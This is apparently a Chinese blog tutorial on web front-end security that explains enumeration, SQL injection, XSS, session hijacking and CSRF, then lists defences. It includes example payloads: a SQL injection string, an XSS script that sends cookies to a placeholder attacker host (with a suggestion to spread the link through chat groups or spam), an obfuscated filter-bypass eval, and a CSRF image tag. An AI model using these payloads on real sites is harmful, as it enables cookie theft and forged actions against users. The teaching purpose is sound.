web前端安全

標籤：伺服器   line   target   文檔   檔案   而且   圖書   htm   方法   

WEB基本攻擊大致可以分為三大類—— “資源枚舉”、“參數操縱” 和 “其它攻擊”。

資源枚舉

有時候受前人（技術前輩也好，你所接任的上一位員工也好）的影響，我們可能會約定成俗地去做某件事情，比如用駱駝命名法法來命名函數名、用JSDoc的方式來書寫注釋，這樣會讓你的團隊工作更加規範。然後有一天要給項目做備份了，就直接把該項目壓縮為rar檔案，命名為什麼呢？首選的自然是“bak.rar”，你看資料庫的備份的形式不也是.bak嘛。

於是乎，如果壓縮包所在的地址是可訪問的，那麼所有人都可以輕鬆地下載到這個"bak.rar"檔案，你的項目也不存在什麼小秘密了（即使夏天夏天悄悄地過去）。

這就是“資源枚舉”，別有用心的人會遍曆你網站所有可訪問的目錄，然後把一些常見的備胎檔案名稱（比如“sql.bak”、“index-副本.html”）一個個都枚舉一下，如果運氣好枚舉到了就直接下載。

於是跟隨主流在這裡不是好的事情，對於重要的東西，要麼放在外人不可訪問的地方，要麼應當給它起一個不那麼好猜的名字。

資源枚舉也不僅僅局限於瞎找東西，聰明的人會利用線索來更好地猜東西。

假設有一個網站走的偽靜態高冷路線，不想讓別人知道它所使用的語言和資料庫，但沒有配置好後端錯誤資訊的提示。那麼“別有用心”的朋友就可以在這個網站裡的某個搜尋結果頁面篡改url參數，導致資料庫查詢錯誤而返回資料庫錯誤資訊頁面，或者輸入一個根本不存在的子頁面地址來擷取錯誤資訊，進而可判斷該網站到底用的是什麼資料庫或動態語言。

 

參數操縱

這裡包括了SQL注入、XPath注入、cgi命令執行，還有XXS和工作階段劫持等。前三個的攻擊主要是在服務端觸發的，後二者的攻擊則是側重於用戶端。

SQL注入這塊不想細聊了，相信很多朋友都聽到耳朵長繭，不外乎是提交含有SQL動作陳述式的資訊給後端，後端如果沒有做好過濾就執行該語句，攻擊者自然可以隨意操縱該網站的資料庫。

比如有一個圖書館網站book.com，你點進一本書的詳情頁面，其url是這樣的：

book.com/book?id=100

說明這本書在資料庫中的索引值是100，後端收到url參數後就執行了資料庫查詢操作：

select * from booktable where id=‘100‘

那麼如果我們把url更改為

book.com/book?id=100‘or‘1‘=‘1

那麼資料庫操作執行就變成了：

select * from booktable where id=‘100‘or‘1‘=‘1‘

從而取出了整個booktable 表單的全部資料。

XPath注入跟SQL注入差不多，只不過這裡的資料庫走的xml格式，攻擊方式自然也得按xml尋找的文法來了，具體 可看這裡 。

cgi命令執行指的是使用者遠端存取cgi指令碼時，通過提交惡意的參數讓伺服器執行相關的cgi命令來擷取資訊甚至操縱伺服器。有興趣的朋友可以 看下這裡 。

對於這幾個攻擊，我們需要做的自然是對提交參數的過濾，最好是前端過濾一遍，後端也過濾一遍（後端的過濾和攔截是最重要的，畢竟通過在瀏覽器禁用指令碼的配置可以躲過前端的過濾）。

 

XSS（cross-site scripting跨域指令碼攻擊）攻擊也是最常見的WEB攻擊之一，其重點是“跨域”和“用戶端執行”。我們還是拿那個圖書館網站book.com來調侃下。

假設頁面右上方有一個搜尋書籍的地方，你隨便輸入一本壓根就沒有的書，比如“有錢任性指南”，然後點擊搜尋按鈕。這時候頁面 ( book.com/search?name=有錢任性指南 ) 會返回一段資訊：

您搜尋的書籍“有錢任性指南”不存在

好的，那我們輸入這個怎樣：

<script>alert(‘沒有書開個毛線書店啊‘)</script>

假設這個圖書館網站沒有對資料做任何過濾，而且會原封不動地把使用者輸入的資料展示回來，那麼返回的頁面自然也會返回這段指令碼，從而執行它。

 

但是這樣不好玩，既然要做攻擊，我們就要擷取使用者的資料，要擷取資料自然要把資訊傳回我們的伺服器（假設接收資訊的地址是http://vajoy/get），那咱們可以這樣寫：

<script>document.location=‘http://vajoy/get?cookie=‘+document.cookie</script>

不過這樣不好玩啊，收到的總是我們自己的資料，我們要收集的應該是別人的cookie資訊啊！

小意思，不妨通過QQ群，或者通過群發垃圾郵件，來讓其他人點擊這個地址：

book.com/search?name=<script>document.location=‘http://vajoy/get?cookie=‘+document.cookie</script>

這種便是XSS攻擊中的一種，稱為“Reflected XSS”——基於反射的XSS攻擊，主要依靠網站服務端返回指令碼，在用戶端觸發執行從而發起WEB攻擊。

與其相近的是“DOM-based or local XSS”——基於DOM或本地的XSS攻擊。拿我現在工作的項目做比方——為使用者提供免費的wifi，但是提供免費wifi的網關會往你訪問的任何頁面插入一段指令碼，從而植入懸浮廣告（當然你可以關閉它），這貌似沒什麼，但如果插入的指令碼是擷取你敏感性資料的惡意指令碼那就不一樣了。像這種直接存在於頁面，無須經過伺服器返回指令碼處理就直接跨域發送使用者資訊的行為就是基於本地的XSS攻擊。

還有最後一種稱為“Stored XSS”——基於儲存的XSS攻擊。它是通過貼吧啊部落格園啊等地方來發錶帶有惡意跨域指令碼的文章或文章，從而把惡意指令碼儲存在裡面，每個訪問該文章/文章的人就會中招。

還記得一開始載入本文章的alert彈窗嗎？假設部落格園對文章進行了過濾，把全部“alert”啊、"eval"啊等敏感字元都過濾掉，那我們怎麼辦？我們可以這樣：

?

1234	<script type="text/javascript">var x=‘eva‘+String.fromCharCode(108),y=window,e=‘a‘+String.fromCharCode(108)+‘ert("歡迎收看本文章")‘;y[x][‘call‘](this,e);</script>

照樣實現我們想要的彈窗無誤。

對於XSS的預防自然也是對提交資料的過濾，另外還有一點——謹慎返回使用者提交的內容！

 

工作階段劫持

百度百科有個很有意思的引喻——“在現實生活中，比如你去市場買菜，在交完錢後你要求先去幹一些別的事情，稍候再來拿菜；如果這個時候某個陌生人要求把菜拿走，賣菜的人會把菜給陌生人嗎？”

這個比喻很有意思，我們常規訪問一個http網站時是與其伺服器建立了一次HTTP會話。假設你宿舍樓的“朋友”都跟你處於同一個子網上，其中有人想偽裝成你來劫持你的HTTP會話，那麼伺服器會把菜，哦不，是資訊返回給那個人嗎？

答案是肯定的，因為HTTP會話並不安全。它在經過TCP/IP協議封裝傳輸資料時，在傳輸的資料的每一個位元組中插入一個32位的序號碼，這個序號用來保持跟蹤資料和提供可靠性（序號是依循資料順序逐步遞增的）。第三方攻擊者可以通過嗅探的方式來擷取使用者與伺服器通訊中的報文資訊，如果他能猜測到資料中的序號，那便能把合法的使用者斷開，偽裝成合法使用者讓自己控制後續的通話。

對於工作階段劫持的預防，可以走SSH協議、增強網路安全系統健壯性，也可以使用無序的UUID來替代通訊中的序號碼（而非逐步遞增）。

 

其它攻擊

其它攻擊包括有前面未提及的CSRF攻擊、釣魚攻擊和拒絕服務的攻擊等。

CSRF（cross-site request forgery），翻譯為跨站請求偽造，與XSS非常相似，但XSS是利用使用者對當前網站的信任來發起攻擊，而CSRF是利用網站對使用者的信任來發起攻擊。

依舊拿上述的圖書館網站打個比方，如果它的安全機制很鬆懈——只要使用者登入了網站後，只要沒關閉瀏覽器，在任何情況都可以作為一個已通過身分識別驗證的使用者來做購書、借書操作（無須重新登入或者輸入支付密碼什麼的，畢竟已經登入驗證過一次了嘛）。

那麼我們給一位使用者發送一份郵件怎樣，裡面放有一條轉向購書執行頁面的連結。。。噢不，那樣還得使用者點擊它，我們想讓使用者看到的時候就立刻執行了購書操作，我們可以這樣做——在郵件中插入一張圖片：

<img src=‘http://book.com/pay?bookid=100‘/>

img、script、iframe標籤都是不受同源策略限制的，假設你使用的郵箱很直白地給使用者即時顯示這張圖片，而該使用者又剛好登入了book.com且沒有關閉瀏覽器，那麼src裡的串連就會立刻訪問book.com/pay頁面，並按照已通過身分識別驗證的情況來處理，從而做了購書的操作。

相信現在你會很清楚為何現在的郵箱都不會直接顯示郵件裡的圖片了吧——都是為了你的安全考慮。

對於CSRF攻擊，我們所能做的可以有：

1. 檢查前序中的Referer參數確保請求發自正確的網站（但XHR請求可調用setRequestHeader方法來修改Referer前序）；

2. 對於任何重要的請求都需要重新驗證使用者的身份；

3. 建立一個唯一的令牌（Token），將其存在服務端的session中及用戶端的cookie中，對任何請求，都檢查二者是否一致。

 

釣魚攻擊指的是網站的偽造，比如ta0bao.com，然後在其中應用XSS等方式發起攻擊。

拒絕服務（DoS）指的是向網站發起洪水一樣的請求（Traffic Floor），導致伺服器超負荷並關閉，處理方法常規是採用QoS（Quality of Service）的軟硬體解決方案。

 

攻擊層面

攻擊層面指的是有惡意的人可能會從哪些地方來入手製造麻煩，常見的攻擊層面有三種：

一. 傳統WEB應用程式

1. 表單輸入（甚至包括hidden控制項的內容）；

2. cookie（通過修改cookie內容也可以達到SQL注入攻擊的目的）；

3. 前序（有時候為了方便統計來來源資料，伺服器會把用戶端發來前序的Referer、User-Agent資訊存到資料庫中，那麼通過修改前序資訊也可以起到SQL注入工具目的）

4. 請求參數

5. 上傳檔案（在檔案內攜帶惡意代碼）

二. Web服務

1. 上述“傳統WEB服務”的全部方法；

2. WSDL文檔（暴露了服務端的每個方法及其使用方式）

三. AJAX應用程式

即上述的“一”和“二”的合集

 

解決方案

綜上所述，我們可以這樣審視我們的WEB網站：

1. 永遠不要相信用戶端傳來的任何資訊，對這些資訊都應先進行編碼或過濾處理；

2. 謹慎返回使用者輸入的資訊；

3. 使用黑名單和白名單處理（即“不允許哪些敏感資訊”或“只允許哪些資訊”，白名單的效果更好但局限性高）；

4. 檢查、驗證請求來源，對每一個重要的操作都進行重新驗證；

5. 使用SSL防止第三方監聽通訊（但無法阻止XSS、CSRF、SQL注入攻擊）；

6. 不要將重要檔案、備份檔案存放在公眾可訪問到的地方；

7. 會話ID無序化；

8. 對使用者上傳的檔案進行驗證（不單單是格式驗證，比方一張gif圖片還應將其轉為二進位並驗證其每幀顏色值<無符號8位>和寬高值<無符號16位>）；

9. WSDL文檔應當要求使用者註冊後才能擷取；

10. 。。。。。。。。

雖然我們有一些必要的手段來防止WEB攻擊，但永遠不會有一枚silver bullet來徹底解決問題，先不談那些數不勝數的已知的、可被攻擊的漏洞，對於謎一樣的0-day漏洞，我們所能做的只是提前發現並及時修補它們。

web前端安全